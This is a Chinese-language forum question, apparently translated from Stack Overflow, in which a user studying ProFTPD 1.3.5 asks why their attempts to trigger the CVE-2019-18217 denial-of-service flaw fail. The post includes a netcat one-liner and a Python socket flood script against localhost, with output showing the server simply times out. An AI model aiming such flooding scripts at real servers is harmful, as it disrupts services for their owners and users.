如何解决CVE-2019-18217 PoC 未按预期工作
我一直在使用 ProFTPD,研究一些安全漏洞。如标题所示,CVE-2019-18217 是 ProFTPD 的拒绝服务漏洞之一。 (NVD here,GH Issue here)
出于某种原因,我仍然没有看到 cpu 使用负载增加,如下所示:
[...] 导致处理客户端连接的子进程消耗 100% cpu
谁能给我指点一下我做错了什么。
免责声明:这纯粹是为了自我教育和研究目的。 ProFTPD 是从经过验证的源代码编译而来,使用 git tag 1.3.5。漏洞利用应该就在那里。
尝试 1
我尝试过用纯 shell 魔法重载缓冲区。
$ dd if=/dev/urandom bs=1M | tr -dc A-Z | nc localhost 21
Connection to localhost 21 port [tcp/ftp] succeeded!
220 ProFTPD 1.3.5 Server (localhost) [::1]
服务器在发送过多数据后关闭连接。限制发送的数据 (head -c10000
) 也不起作用。结果是:
421 Login timeout (30 seconds): closing control connection
导致(当然)关闭与连接相关的所有子进程。
编辑:增加发送缓冲区大小 (nc .. -O 50000
) 也不起作用,服务器关闭与同一消息的连接。
尝试 2
我曾尝试编写一个具有相同功能的 PoC python 脚本。
import socket,random,sys,string,_thread
sock = socket.socket()
sock.connect((sys.argv[1],21))
print("Connected.")
def readloop(s):
while True:
dat = s.recv(256)
if not dat: break
print(str(dat))
_thread.start_new_thread(readloop,tuple([sock]))
while True:
tosend = bytes(''.join(random.choice(string.ascii_letters) for x in range(256)),encoding='utf8')
sock.sendall(tosend)
结果:
$ python3 flood.py localhost
Connected.
b'220 ProFTPD 1.3.5 Server (localhost) [::1]\r\n'
b'421 Login timeout (30 seconds): closing control connection\r\n'
Traceback (most recent call last):
File "flood.py",line 17,in <module>
sock.sendall(tosend)
ConnectionResetError: [Errno 104] Connection reset by peer
请告诉我为什么提到的程序/尝试不起作用,以及我该如何纠正它们。
编辑: 提到了“格式错误的数据包”。从技术上讲,socket
和 netcat
都不会发送格式错误的数据包。 (它们都是有效的 TCP 数据包,可能只是格式错误的数据?)这是怎么回事?引用:
未经身份验证的攻击者可以通过发送格式错误的网络数据包来触发无限循环 [...]
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。